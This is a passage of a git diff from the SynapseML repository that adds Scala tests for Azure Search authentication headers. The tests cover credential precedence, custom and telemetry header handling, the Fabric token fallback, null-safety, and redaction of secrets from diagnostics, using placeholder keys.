stage.set(stage.customHeaders, Left(Map( + (null: String) -> "orphan-value", "x-null-value" -> (null: String), "x-generic" -> "generic-value"))) + + val baseDir = new File(System.getProperty("user.dir"), + s"target/test-persist-add-documents-${System.currentTimeMillis()}") + val path = new File(baseDir, "stage").toString + try { + stage.write.overwrite().save(path) + assert(new File(path).exists()) + val loaded = AddDocuments.load(path) + + // Null entries were removed at the save boundary; the one legitimate header survives the trip. + assert(loaded.getOrDefault(loaded.customHeaders).left.get == Map("x-generic" -> "generic-value")) + val headers = loaded.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("api-key") == "resolved-key") + assert(headers("x-generic") == "generic-value") + assert(headers.keySet.forall(name => name != null)) + assert(!headers.values.exists(value => value == null || value.contains("orphan-value"))) + } finally { + if (baseDir.exists()) FileUtils.forceDelete(baseDir) + } + } + // scalastyle:on null +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuthSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuthSuite.scala new file mode 100644 index 00000000000..f38db539c9f --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuthSuite.scala @@ -0,0 +1,740 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search + +import com.microsoft.azure.synapse.ml.services.ServiceAuthHeaders +import org.apache.http.client.methods.{HttpGet, HttpRequestBase} +import org.apache.spark.sql.Row +import org.scalatest.funsuite.AnyFunSuite +import spray.json._ + +import java.io.{PrintWriter, StringWriter} + +class AzureSearchAuthSuite extends AnyFunSuite { + + private val serviceName = "test-search-service" + private val apiVersion = "test-api-version" + private val indexName = "test-index" + + private def header(request: HttpRequestBase, name: String): Option[String] = { + Option(request.getFirstHeader(name)).map(_.getValue) + } + + private def requests(auth: AzureSearchAuth): Seq[HttpRequestBase] = Seq( + AzureSearchRequests.listIndexes(auth, serviceName, apiVersion), + AzureSearchRequests.getIndex(auth, serviceName, indexName, apiVersion), + AzureSearchRequests.createIndex(auth, serviceName, "{}", apiVersion), + AzureSearchRequests.getStatistics(auth, serviceName, indexName, apiVersion) + ) + + test("subscription key headers are used by every index API") { + requests(AzureSearchAuth.fromSubscriptionKey("test-subscription-key")).foreach { request => + assert(header(request, "api-key").contains("test-subscription-key")) + assert(header(request, "Authorization").isEmpty) + } + } + + test("AAD headers are used by every index API") { + requests(AzureSearchAuth.fromAADToken("test-aad-token")).foreach { request => + assert(header(request, "Authorization").contains("Bearer test-aad-token")) + assert(header(request, "api-key").isEmpty) + } + } + + test("shared auth precedence and custom headers match cognitive service requests") { + val auth = AzureSearchAuth( + subscriptionKey = Some("test-subscription-key"), + aadToken = Some("test-aad-token"), + customAuthHeader = Some("Custom test-auth"), + customHeaders = Map("x-test-header" -> "test-value")) + + val headers = auth.headers(addContentType = true) + assert(headers("api-key") == "test-subscription-key") + assert(!headers.contains("Authorization")) + assert(headers("x-test-header") == "test-value") + assert(headers("Content-Type") == "application/json") + } + + test("custom authorization and custom headers work without a key or AAD token") { + val auth = AzureSearchAuth( + customAuthHeader = Some("Custom test-auth"), + customHeaders = Map("x-test-header" -> "test-value")) + + requests(auth).foreach { request => + assert(header(request, "Authorization").contains("Custom test-auth")) + assert(header(request, "x-test-header").contains("test-value")) + } + } + + test("an Authorization custom header can be the sole credential") { + val auth = AzureSearchAuth(customHeaders = Map( + "Authorization" -> "Custom test-auth", + "x-test-header" -> "test-value")) + + requests(auth).foreach { request => + assert(header(request, "Authorization").contains("Custom test-auth")) + assert(header(request, "x-test-header").contains("test-value")) + } + } + + test("auth values are redacted from diagnostic strings") { + val rendered = AzureSearchAuth( + subscriptionKey = Some("test-subscription-key"), + aadToken = Some("test-aad-token"), + customAuthHeader = Some("Custom test-auth"), + customHeaders = Map("x-test-header" -> "test-value")).toString + + assert(!rendered.contains("test-subscription-key")) + assert(!rendered.contains("test-aad-token")) + assert(!rendered.contains("Custom test-auth")) + assert(!rendered.contains("test-value")) + assert(rendered.contains("x-test-header")) + } + + test("missing credentials fail before writer preparation or an index request") { + val writerError = intercept[IllegalArgumentException] { + AzureSearchAuth.fromOptions(Map.empty) + } + val requestError = intercept[IllegalArgumentException] { + AzureSearchRequests.listIndexes(AzureSearchAuth(), serviceName, apiVersion) + } + + assert(writerError.getMessage.contains("authentication")) + assert(requestError.getMessage.contains("authentication")) + } + + test("writer options configure key, AAD, custom authorization, and custom headers") { + val keyWriter = AzureSearchWriter.configureAuthentication( + new AddDocuments(), + AzureSearchAuth.fromOptions(Map("subscriptionKey" -> "test-subscription-key"))) + assert(keyWriter.getSubscriptionKey == "test-subscription-key") + + val aadAuth = AzureSearchAuth.fromOptions(Map( + "AADToken" -> "test-aad-token", + "customHeaders" -> "{\"x-test-header\":\"test-value\"}")) + val aadWriter = AzureSearchWriter.configureAuthentication(new AddDocuments(), aadAuth) + assert(aadWriter.getAADToken == "test-aad-token") + assert(aadWriter.getOrDefault(aadWriter.customHeaders).left.get("x-test-header") == "test-value") + + val customWriter = AzureSearchWriter.configureAuthentication( + new AddDocuments(), + AzureSearchAuth.fromOptions(Map( + "customAuthHeader" -> "Custom test-auth", + "customHeaders" -> "{\"x-test-header\":\"test-value\"}"))) + assert(customWriter.getCustomAuthHeader == "Custom test-auth") + assert(customWriter.getOrDefault(customWriter.customHeaders).left.get("x-test-header") == "test-value") + } + + test("malformed custom header options are rejected") { + val error = intercept[IllegalArgumentException] { + AzureSearchAuth.fromOptions(Map( + "customAuthHeader" -> "Custom test-auth", + "customHeaders" -> "not-json")) + } + assert(error.getMessage.contains("customHeaders")) + } + + test("legacy subscription-key APIs remain source compatible") { + val compileOnly = () => { + val lister = new IndexLister {} + val getter = new IndexJsonGetter {} + lister.getExisting("key", "service") + lister.getExisting("key", "service", "version") + getter.getIndexJsonFromExistingIndex("key", "service", "index") + getter.getIndexJsonFromExistingIndex("key", "service", "index", "version") + SearchIndex.createIfNoneExists("key", "service", "{}") + SearchIndex.createIfNoneExists("key", "service", "{}", "version") + SearchIndex.getStatistics("index", "key", "service") + SearchIndex.getStatistics("index", "key", "service", "version") + } + + assert(compileOnly != null) + } + + private def renderExceptionChain(t: Throwable): String = { + val writer = new StringWriter() + t.printStackTrace(new PrintWriter(writer)) + val causeChain = Iterator.iterate(t: Throwable)(_.getCause) + .takeWhile(_ != null) + .map(e => s"${e.getClass.getName}: ${Option(e.getMessage).getOrElse("")}") + .mkString(" | ") + writer.toString + " || " + causeChain + } + + private def headerNameValuePairs(request: HttpRequestBase): Seq[(String, String)] = { + request.getAllHeaders.map(h => h.getName -> h.getValue).toSeq.sorted + } + + test("mixed-case api-key and Authorization custom headers cannot bypass precedence or duplicate") { + val auth = AzureSearchAuth( + subscriptionKey = Some("test-subscription-key"), + customHeaders = Map( + "AUTHORIZATION" -> "custom-should-not-win", + "Api-Key" -> "custom-should-not-win-either", + "x-generic" -> "generic-value")) + requests(auth).foreach { request => + assert(header(request, "api-key").contains("test-subscription-key")) + assert(request.getHeaders("api-key").length == 1) + assert(request.getHeaders("Authorization").isEmpty) + assert(header(request, "x-generic").contains("generic-value")) + assert(request.getAllHeaders.forall(h => !h.getValue.contains("custom-should-not-win"))) + } + } + + test("a mixed-case Authorization custom header is the sole credential and is canonicalized") { + val auth = AzureSearchAuth(customHeaders = Map( + "authorization" -> "Custom test-auth", + "x-generic" -> "generic-value")) + requests(auth).foreach { request => + assert(header(request, "Authorization").contains("Custom test-auth")) + assert(request.getHeaders("Authorization").length == 1) + assert(request.getAllHeaders.count(_.getName == "authorization") == 0) + assert(header(request, "x-generic").contains("generic-value")) + } + } + + test("explicit credentials outrank an auth entry embedded in custom headers") { + val auth = AzureSearchAuth( + customAuthHeader = Some("Custom explicit-auth"), + customHeaders = Map("Authorization" -> "custom-should-not-win")) + requests(auth).foreach { request => + assert(header(request, "Authorization").contains("Custom explicit-auth")) + assert(request.getHeaders("Authorization").length == 1) + assert(request.getAllHeaders.forall(h => !h.getValue.contains("custom-should-not-win"))) + } + } + + test("a blank custom api-key does not suppress a valid Authorization custom header") { + val auth = AzureSearchAuth(customHeaders = Map( + "api-key" -> " ", + "Authorization" -> "Custom valid-auth", + "x-generic" -> "generic-value")) + requests(auth).foreach { request => + assert(header(request, "Authorization").contains("Custom valid-auth")) + assert(request.getHeaders("Authorization").length == 1) + assert(request.getHeaders("api-key").isEmpty) + assert(header(request, "x-generic").contains("generic-value")) + } + } + + test("writer and management index APIs apply identical auth headers") { + val auth = AzureSearchAuth( + subscriptionKey = Some("test-subscription-key"), + customHeaders = Map( + "authorization" -> "custom-should-not-win", + "x-generic" -> "generic-value")) + val sharedHeaders = auth.headers(addContentType = true) + + val managementRequest = AzureSearchRequests.getIndex(auth, serviceName, indexName, apiVersion) + + val addHeaderRequest = new HttpGet("https://example.com") + sharedHeaders.foreach { case (name, value) => addHeaderRequest.addHeader(name, value) } + val setHeaderRequest = new HttpGet("https://example.com") + sharedHeaders.foreach { case (name, value) => setHeaderRequest.setHeader(name, value) } + + assert(headerNameValuePairs(addHeaderRequest) == headerNameValuePairs(setHeaderRequest)) + assert(headerNameValuePairs(managementRequest) == headerNameValuePairs(addHeaderRequest)) + + assert(managementRequest.getHeaders("Authorization").isEmpty) + assert(managementRequest.getHeaders("api-key").length == 1) + assert(header(managementRequest, "api-key").contains("test-subscription-key")) + assert(managementRequest.getAllHeaders.forall(h => !h.getValue.contains("custom-should-not-win"))) + } + + test("malformed custom header JSON is rejected without leaking secrets in the exception chain") { + val secretValue = "canary-9c3f-not-a-real-secret" + val malformedMarker = "totally-not-valid-json" + val malformedCustomHeaders = "{\"api-key\": \"" + secretValue + "\" " + malformedMarker + "}" + + val rawParserMessage = intercept[Exception](malformedCustomHeaders.parseJson).getMessage + assert(rawParserMessage.contains(secretValue)) + + val sanitized = intercept[IllegalArgumentException] { + AzureSearchAuth.fromOptions(Map("customHeaders" -> malformedCustomHeaders)) + } + + assert(sanitized.getCause == null) + assert(sanitized.getMessage.contains("customHeaders")) + val rendered = renderExceptionChain(sanitized) + assert(!rendered.contains(secretValue)) + assert(!rendered.contains(malformedMarker)) + assert(!rendered.toLowerCase.contains("spray")) + } + + test("writer header preparation ranks an embedded credential above the Fabric fallback") { + // Exercise the real AddDocuments/HasCognitiveServiceInput header path (not a synthetic + // request.addHeader reconstruction). The Fabric fallback token is injected through the shared + // seam so the writer path is covered without a live Fabric environment or any secret. + val fabricFallback = Some("Bearer fabric-fallback-token") + + val embeddedWriter = new AddDocuments().setCustomHeaders(Map( + "api-key" -> "embedded-key", + "x-generic" -> "generic-value")) + val embeddedHeaders = + embeddedWriter.buildServiceAuthHeaders(Row.empty, addContentType = false, fabricFallback) + assert(embeddedHeaders("api-key") == "embedded-key") + assert(!embeddedHeaders.contains("Authorization")) + assert(embeddedHeaders("x-generic") == "generic-value") + assert(!embeddedHeaders.values.exists(_.contains("fabric-fallback-token"))) + + // The management path never synthesizes a Fabric fallback; both converge on the embedded key. + val managementHeaders = AzureSearchAuth(customHeaders = Map( + "api-key" -> "embedded-key", + "x-generic" -> "generic-value")).headers() + assert(managementHeaders("api-key") == embeddedHeaders("api-key")) + assert(managementHeaders.get("Authorization") == embeddedHeaders.get("Authorization")) + } + + test("writer header preparation uses the Fabric fallback when no other credential exists") { + val headers = new AddDocuments().buildServiceAuthHeaders( + Row.empty, addContentType = false, Some("Bearer fabric-fallback-token")) + assert(headers("Authorization") == "Bearer fabric-fallback-token") + assert(!headers.contains("api-key")) + } + + test("writer explicit subscription key outranks an embedded credential and the Fabric fallback") { + val headers = new AddDocuments() + .setSubscriptionKey("explicit-key") + .setCustomHeaders(Map("api-key" -> "embedded-key")) + .buildServiceAuthHeaders(Row.empty, addContentType = false, Some("Bearer fabric-fallback-token")) + assert(headers("api-key") == "explicit-key") + assert(!headers.contains("Authorization")) + assert(!headers.values.exists(_.contains("fabric-fallback-token"))) + } + + test("mixed-case duplicate api-key custom headers resolve deterministically to one header") { + val auth = AzureSearchAuth(customHeaders = Map( + "API-KEY" -> "first-key", + "Api-Key" -> "second-key")) + val first = auth.headers() + assert(first == auth.headers()) // case-insensitive resolution is deterministic + assert(first.keys.count(_.equalsIgnoreCase("api-key")) == 1) + assert(Set("first-key", "second-key").contains(first("api-key"))) + assert(first("api-key") == "first-key") // sorted by raw name: "API-KEY" precedes "Api-Key" + assert(!first.contains("Authorization")) + } + + test("custom headers with only blank auth values are rejected as missing credentials") { + val error = intercept[IllegalArgumentException] { + AzureSearchAuth(customHeaders = Map("api-key" -> " ", "Authorization" -> " ")).validated + } + assert(error.getMessage.contains("authentication")) + } + + test("automatic Fabric fallback eligibility treats blank explicit credentials as absent") { + // Exercises the real getFabricFallbackAuthHeader credential gate (the production decision), not a + // fallback value injected straight into buildServiceAuthHeaders. A blank or whitespace + // subscription key, AAD token, or custom auth header must NOT mark the Fabric fallback + // ineligible: ServiceAuthHeaders.build discards those blank values, so suppressing the fallback + // would leave the writer and non-Search cognitive consumers unauthenticated on Fabric. The same + // non-blank guard also treats a null value as absent. + assert(new AddDocuments().lacksExplicitAuthCredential(Row.empty)) + assert(new AddDocuments().setCustomAuthHeader(" ").lacksExplicitAuthCredential(Row.empty)) + assert(new AddDocuments().setSubscriptionKey(" ").lacksExplicitAuthCredential(Row.empty)) + assert(new AddDocuments().setAADToken(" ").lacksExplicitAuthCredential(Row.empty)) + + // A non-blank explicit credential (any of the three) makes the fallback ineligible so it never + // fetches a Fabric token or outranks the supplied credential. + assert(!new AddDocuments().setSubscriptionKey("explicit-key").lacksExplicitAuthCredential(Row.empty)) + assert(!new AddDocuments().setAADToken("explicit-token").lacksExplicitAuthCredential(Row.empty)) + assert(!new AddDocuments().setCustomAuthHeader("Custom explicit-auth").lacksExplicitAuthCredential(Row.empty)) + } + + test("writer header preparation never evaluates the Fabric fallback when an embedded credential is present") { + // The production writer path (getHeaders -> buildServiceAuthHeaders) supplies the Fabric fallback + // by-name; on Fabric that supplier acquires a token and can throw. An embedded api-key/Authorization + // in customHeaders outranks the fallback, so preparation must succeed WITHOUT ever evaluating the + // supplier -- a throwing supplier that is nonetheless invoked reproduces the eager-evaluation bug. + var throwingEvaluations = 0 + def throwingFallback: Option[String] = { + throwingEvaluations += 1 + throw new RuntimeException("Fabric fallback must not be evaluated when a credential is present") + } + + val embeddedWriter = new AddDocuments().setCustomHeaders(Map( + "api-key" -> "embedded-key", + "x-generic" -> "generic-value")) + val headers = embeddedWriter.buildServiceAuthHeaders(Row.empty, addContentType = false, throwingFallback) + + assert(throwingEvaluations == 0) + assert(headers("api-key") == "embedded-key") + assert(!headers.contains("Authorization")) + assert(headers("x-generic") == "generic-value") + + // When no higher-priority credential exists the fallback IS evaluated (exactly once) and applied. + var fallbackEvaluations = 0 + def countingFallback: Option[String] = { + fallbackEvaluations += 1 + Some("fabric-fallback-token") + } + val fallbackHeaders = + new AddDocuments().buildServiceAuthHeaders(Row.empty, addContentType = false, countingFallback) + assert(fallbackEvaluations == 1) + assert(fallbackHeaders("Authorization") == "fabric-fallback-token") + assert(!fallbackHeaders.contains("api-key")) + } + + test("telemetry headers cannot override or duplicate the resolved auth header under any casing") { + // telemHeaders are merged after the resolved credential. An api-key/Authorization telemetry entry + // under any casing must be stripped so telemetry can neither replace the one canonical auth header + // nor add a second one, while a legitimate non-auth telemetry header still survives. + val headers = ServiceAuthHeaders.build( + Some("resolved-key"), "api-key", "Authorization", + None, None, None, None, + Some(Map( + "api-key" -> "telem-should-not-win", + "API-KEY" -> "telem-should-not-win-upper", + "Authorization" -> "telem-bearer-should-not-appear", + "authorization" -> "telem-bearer-lower", + "x-telemetry" -> "telemetry-value")), + None) + assert(headers.keys.count(_.equalsIgnoreCase("api-key")) == 1) + assert(headers("api-key") == "resolved-key") + assert(headers.keys.forall(name => !name.equalsIgnoreCase("Authorization"))) + assert(headers("x-telemetry") == "telemetry-value") + assert(headers.values.forall(value => !value.contains("telem-should-not-win"))) + assert(headers.values.forall(value => !value.contains("telem-bearer"))) + } + + test("telemetry headers cannot override the resolved auth header on the writer path") { + val headers = new AddDocuments() + .setSubscriptionKey("resolved-key") + .setTelemHeaders(Map( + "api-key" -> "telem-should-not-win", + "authorization" -> "telem-bearer-should-not-appear", + "x-telemetry" -> "telemetry-value")) + .buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers.keys.count(_.equalsIgnoreCase("api-key")) == 1) + assert(headers("api-key") == "resolved-key") + assert(headers.keys.forall(name => !name.equalsIgnoreCase("Authorization"))) + assert(headers("x-telemetry") == "telemetry-value") + assert(headers.values.forall(value => !value.contains("telem-should-not-win"))) + assert(headers.values.forall(value => !value.contains("telem-bearer"))) + } + + test("legitimate non-auth telemetry headers are preserved alongside the resolved auth header") { + val headers = ServiceAuthHeaders.build( + None, "api-key", "Authorization", + Some("aad-token"), None, None, None, + Some(Map("x-telemetry-a" -> "value-a", "x-telemetry-b" -> "value-b")), + None) + assert(headers("Authorization") == "Bearer aad-token") + assert(headers("x-telemetry-a") == "value-a") + assert(headers("x-telemetry-b") == "value-b") + assert(headers.keys.count(_.equalsIgnoreCase("api-key")) == 0) + } + + test("a blank alias value never conflicts with a valid credential for any relevant alias") { + // A blank/whitespace alias is treated as absent everywhere else, so it must not trigger a bogus + // conflict against a valid sibling alias. Values are never trimmed and the resolved credential is + // preserved verbatim, for the subscription-key, AAD, and custom-auth aliases alike. + val aad = AzureSearchAuth.fromOptions(Map("AADToken" -> " ", "aadToken" -> "valid-aad-token")) + assert(aad.headers()("Authorization") == "Bearer valid-aad-token") + + val custom = AzureSearchAuth.fromOptions( + Map("CustomAuthHeader" -> " ", "customAuthHeader" -> "Custom valid-auth")) + assert(custom.headers()("Authorization") == "Custom valid-auth") + + val key = AzureSearchAuth.fromOptions(Map("subscriptionKey" -> " ", "aadToken" -> "valid-aad-token")) + assert(!key.headers().contains("api-key")) + assert(key.headers()("Authorization") == "Bearer valid-aad-token") + } + + test("a genuine alias conflict is rejected without leaking credential values") { + val conflictA = "conflict-value-alpha" + val conflictB = "conflict-value-beta" + val error = intercept[IllegalArgumentException] { + AzureSearchAuth.fromOptions(Map("AADToken" -> conflictA, "aadToken" -> conflictB)) + } + assert(error.getMessage.contains("Conflicting")) + assert(!error.getMessage.contains(conflictA)) + assert(!error.getMessage.contains(conflictB)) + val rendered = renderExceptionChain(error) + assert(!rendered.contains(conflictA)) + assert(!rendered.contains(conflictB)) + } + + // scalastyle:off null + test("null credential option values are treated as absent and preserve precedence") { + // Java callers can construct Some(null); normalized must treat it as absent (matching the + // shared ServiceAuthHeaders null-safe rule) instead of throwing, and a null higher-priority + // credential must not suppress a valid lower-priority one. + val headers = AzureSearchAuth( + subscriptionKey = Some(null: String), + aadToken = Some("test-aad-token")).headers() + assert(!headers.contains("api-key")) + assert(headers("Authorization").contains("test-aad-token")) + + val error = intercept[IllegalArgumentException] { + AzureSearchAuth( + subscriptionKey = Some(null: String), + aadToken = Some(null: String), + customAuthHeader = Some(null: String)).validated + } + assert(error.getMessage.contains("authentication")) + } + + test("a null-valued api-key custom header is treated as absent, never a credential or NPE") { + val error = intercept[IllegalArgumentException] { + AzureSearchAuth(customHeaders = Map("api-key" -> (null: String))).validated + } + assert(error.getMessage.contains("authentication")) + + val headers = AzureSearchAuth( + subscriptionKey = Some("test-subscription-key"), + customHeaders = Map("api-key" -> (null: String), "x-generic" -> "generic-value")).headers() + assert(headers("api-key") == "test-subscription-key") + assert(headers("x-generic") == "generic-value") + } + + test("a null custom-header name is dropped during validation, header assembly, and toString") { + val auth = AzureSearchAuth( + subscriptionKey = Some("test-subscription-key"), + customHeaders = Map((null: String) -> "orphan-value", "x-generic" -> "generic-value")) + val headers = auth.validated.headers() + assert(headers("api-key") == "test-subscription-key") + assert(headers("x-generic") == "generic-value") + assert(headers.keySet.forall(_ != null)) + val rendered = auth.toString + assert(rendered.contains("x-generic")) + assert(!rendered.contains("orphan-value")) + } + + test("a null customHeaders map is treated as empty across validation, headers, and toString") { + val nullMap: Map[String, String] = null + val auth = AzureSearchAuth(subscriptionKey = Some("test-subscription-key"), customHeaders = nullMap) + val headers = auth.headers() + assert(headers("api-key") == "test-subscription-key") + assert(auth.toString.contains("customHeaders=[]")) + + val error = intercept[IllegalArgumentException] { + AzureSearchAuth(customHeaders = nullMap).validated + } + assert(error.getMessage.contains("authentication")) + } + + test("null credential inputs are rejected without leaking values in the rendered exception chain") { + val canary = "canary-4f21-not-a-real-secret" + val error = intercept[IllegalArgumentException] { + AzureSearchAuth( + subscriptionKey = Some(null: String), + aadToken = Some(null: String), + customAuthHeader = Some(null: String), + customHeaders = Map("api-key" -> (null: String), "x-canary" -> canary)).validated + } + assert(error.getCause == null) + assert(error.getMessage.contains("authentication")) + val rendered = renderExceptionChain(error) + assert(!rendered.contains(canary)) + } + + test("a null outer credential container does not suppress a valid lower-priority credential") { + // Public/Java callers can pass a null Option container (not Some(null)), e.g. + // AzureSearchAuth(null, Some(validAad), None, Map.empty). normalized must normalize the null + // container to None before filtering instead of calling .filter on null and NPEing, so a null + // higher-priority credential never suppresses a valid lower-priority one. + val aadHeaders = AzureSearchAuth(null, Some("test-aad-token"), None, Map.empty).headers() + assert(!aadHeaders.contains("api-key")) + assert(aadHeaders("Authorization").contains("test-aad-token")) + + val nullOption: Option[String] = null + val customHeaders = AzureSearchAuth( + subscriptionKey = nullOption, + aadToken = nullOption, + customAuthHeader = Some("Custom test-auth")).headers() + assert(!customHeaders.contains("api-key")) + assert(customHeaders("Authorization") == "Custom test-auth") + } + + test("all-null outer credential containers are rejected as missing authentication") { + val nullOption: Option[String] = null + val nullMap: Map[String, String] = null + val error = intercept[IllegalArgumentException] { + AzureSearchAuth(nullOption, nullOption, nullOption, nullMap).validated + } + assert(error.getMessage.contains("authentication")) + } + + test("null outer credential containers are rejected without leaking values in the rendered chain") { + val canary = "canary-7b42-not-a-real-secret" + val nullOption: Option[String] = null + val error = intercept[IllegalArgumentException] { + AzureSearchAuth( + subscriptionKey = nullOption, + aadToken = nullOption, + customAuthHeader = nullOption, + customHeaders = Map("x-canary" -> canary)).validated + } + assert(error.getCause == null) + assert(error.getMessage.contains("authentication")) + val rendered = renderExceptionChain(error) + assert(!rendered.contains(canary)) + } + + test("a null telemetry option, Some(null), or null map is treated as empty without an NPE") { + def withTelem(telem: Option[Map[String, String]]): Map[String, String] = ServiceAuthHeaders.build( + Some("resolved-key"), "api-key", "Authorization", None, None, None, None, telem, None) + val nullTelem: Option[Map[String, String]] = null + val someNullTelem: Option[Map[String, String]] = Some(null) + assert(withTelem(None)("api-key") == "resolved-key") + assert(withTelem(nullTelem)("api-key") == "resolved-key") + assert(withTelem(someNullTelem)("api-key") == "resolved-key") + } + + test("a null telemetry header name is dropped while valid telemetry headers survive") { + val headers = ServiceAuthHeaders.build( + Some("resolved-key"), "api-key", "Authorization", None, None, None, None, + Some(Map((null: String) -> "orphan-telemetry", "x-telemetry" -> "telemetry-value")), None) + assert(headers("api-key") == "resolved-key") + assert(headers("x-telemetry") == "telemetry-value") + assert(headers.keySet.forall(name => name != null)) + assert(headers.values.forall(value => !value.contains("orphan-telemetry"))) + } + + test("a null customHeaders option, Some(null), or null map is empty at the shared boundary") { + def withCustom(custom: Option[Map[String, String]]): Map[String, String] = ServiceAuthHeaders.build( + Some("resolved-key"), "api-key", "Authorization", None, None, custom, None, None, None) + val nullCustom: Option[Map[String, String]] = null + val someNullCustom: Option[Map[String, String]] = Some(null) + assert(withCustom(None)("api-key") == "resolved-key") + assert(withCustom(nullCustom)("api-key") == "resolved-key") + assert(withCustom(someNullCustom)("api-key") == "resolved-key") + } + + test("a null customHeaders name is dropped at the shared boundary while generic headers survive") { + val headers = ServiceAuthHeaders.build( + Some("resolved-key"), "api-key", "Authorization", None, None, + Some(Map((null: String) -> "orphan-value", "x-generic" -> "generic-value")), None, None, None) + assert(headers("api-key") == "resolved-key") + assert(headers("x-generic") == "generic-value") + assert(headers.keySet.forall(name => name != null)) + assert(headers.values.forall(value => !value.contains("orphan-value"))) + } + + test("a null or blank embedded auth value at the shared boundary is never emitted as auth") { + val withKey = ServiceAuthHeaders.build( + Some("resolved-key"), "api-key", "Authorization", None, None, + Some(Map("api-key" -> (null: String), "x-generic" -> "generic-value")), None, None, None) + assert(withKey("api-key") == "resolved-key") + assert(withKey.keys.count(name => name.equalsIgnoreCase("api-key")) == 1) + assert(withKey("x-generic") == "generic-value") + + val soleNull = ServiceAuthHeaders.build( + None, "api-key", "Authorization", None, None, + Some(Map("api-key" -> (null: String), "Authorization" -> " ")), None, None, None) + assert(soleNull.keys.forall(name => + !name.equalsIgnoreCase("api-key") && !name.equalsIgnoreCase("Authorization"))) + } + + test("writer setCustomHeaders with a null key HashMap or a null map stays null-safe") { + val nullKeyMap = new java.util.HashMap[String, String]() + nullKeyMap.put(null, "orphan-value") + nullKeyMap.put("x-generic", "generic-value") + val nullKeyHeaders = new AddDocuments() + .setSubscriptionKey("resolved-key") + .setCustomHeaders(nullKeyMap) + .buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(nullKeyHeaders("api-key") == "resolved-key") + assert(nullKeyHeaders("x-generic") == "generic-value") + assert(nullKeyHeaders.keySet.forall(name => name != null)) + assert(nullKeyHeaders.values.forall(value => !value.contains("orphan-value"))) + + val nullMap: Map[String, String] = null + val nullMapHeaders = new AddDocuments() + .setAADToken("aad-token") + .setCustomHeaders(nullMap) + .buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(nullMapHeaders("Authorization") == "Bearer aad-token") + assert(!nullMapHeaders.contains("api-key")) + } + + private def storedCustomHeaders(stage: AddDocuments): Map[String, String] = + stage.getOrDefault(stage.customHeaders).left.get + + // Reproduces the exact per-param persistence step ComplexParamsWritable.getMetadataToSave runs + // (Param.jsonEncode): a null map, header name, or header value in the stored param throws here. + private def persistCustomHeaders(stage: AddDocuments): Map[String, String] = + stage.customHeaders.jsonDecode( + stage.customHeaders.jsonEncode(stage.getOrDefault(stage.customHeaders))).left.get + + test("setCustomHeaders drops a null header value so the stored param persists without an NPE") { + val stage = new AddDocuments() + .setSubscriptionKey("resolved-key") + .setCustomHeaders(Map("x-generic" -> "generic-value", "x-null-value" -> (null: String))) + assert(storedCustomHeaders(stage) == Map("x-generic" -> "generic-value")) + assert(storedCustomHeaders(stage).values.forall(value => value != null)) + assert(persistCustomHeaders(stage) == Map("x-generic" -> "generic-value")) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("api-key") == "resolved-key") + assert(headers("x-generic") == "generic-value") + assert(!headers.contains("x-null-value")) + } + + test("setCustomHeaders normalizes a null map to empty so the stored param persists without an NPE") { + val nullMap: Map[String, String] = null + val stage = new AddDocuments() + .setAADToken("aad-token") + .setCustomHeaders(nullMap) + assert(storedCustomHeaders(stage).isEmpty) + assert(persistCustomHeaders(stage).isEmpty) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("Authorization") == "Bearer aad-token") + assert(!headers.contains("api-key")) + } + + test("setCustomHeaders with a null HashMap reference normalizes to empty without an NPE") { + val nullHashMap: java.util.HashMap[String, String] = null + val stage = new AddDocuments() + .setSubscriptionKey("resolved-key") + .setCustomHeaders(nullHashMap) + assert(storedCustomHeaders(stage).isEmpty) + assert(persistCustomHeaders(stage).isEmpty) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("api-key") == "resolved-key") + } + + test("setCustomHeaders with a HashMap holding null key and value entries stores only valid headers") { + val map = new java.util.HashMap[String, String]() + map.put(null, "orphan-value") + map.put("x-null-value", null) + map.put("x-generic", "generic-value") + val stage = new AddDocuments() + .setSubscriptionKey("resolved-key") + .setCustomHeaders(map) + assert(storedCustomHeaders(stage) == Map("x-generic" -> "generic-value")) + assert(storedCustomHeaders(stage).keySet.forall(name => name != null)) + assert(storedCustomHeaders(stage).values.forall(value => value != null)) + assert(persistCustomHeaders(stage) == Map("x-generic" -> "generic-value")) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("api-key") == "resolved-key") + assert(headers("x-generic") == "generic-value") + assert(headers.keySet.forall(name => name != null)) + assert(!headers.values.exists(value => value == null || value.contains("orphan-value"))) + } + + test("normalized custom headers preserve embedded-credential precedence and persist safely") { + val map = new java.util.HashMap[String, String]() + map.put("api-key", "embedded-key") + map.put("x-null-value", null) + map.put("x-generic", "generic-value") + val stage = new AddDocuments().setCustomHeaders(map) + assert(persistCustomHeaders(stage) == + Map("api-key" -> "embedded-key", "x-generic" -> "generic-value")) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("api-key") == "embedded-key") + assert(headers.keys.count(name => name.equalsIgnoreCase("api-key")) == 1) + assert(headers("x-generic") == "generic-value") + } + + test("the shared boundary drops a null generic header value so it is never emitted") { + val headers = ServiceAuthHeaders.build( + Some("resolved-key"), "api-key", "Authorization", None, None, + Some(Map("x-null-value" -> (null: String), "x-generic" -> "generic-value")), None, None, None) + assert(headers("api-key") == "resolved-key") + assert(headers("x-generic") == "generic-value") + assert(!headers.contains("x-null-value")) + assert(headers.values.forall(value => value != null)) + } + // scalastyle:on null +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchGenericParamPersistenceSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchGenericParamPersistenceSuite.scala new file mode 100644 index 00000000000..0128ee6c12e --- /dev/null +++ 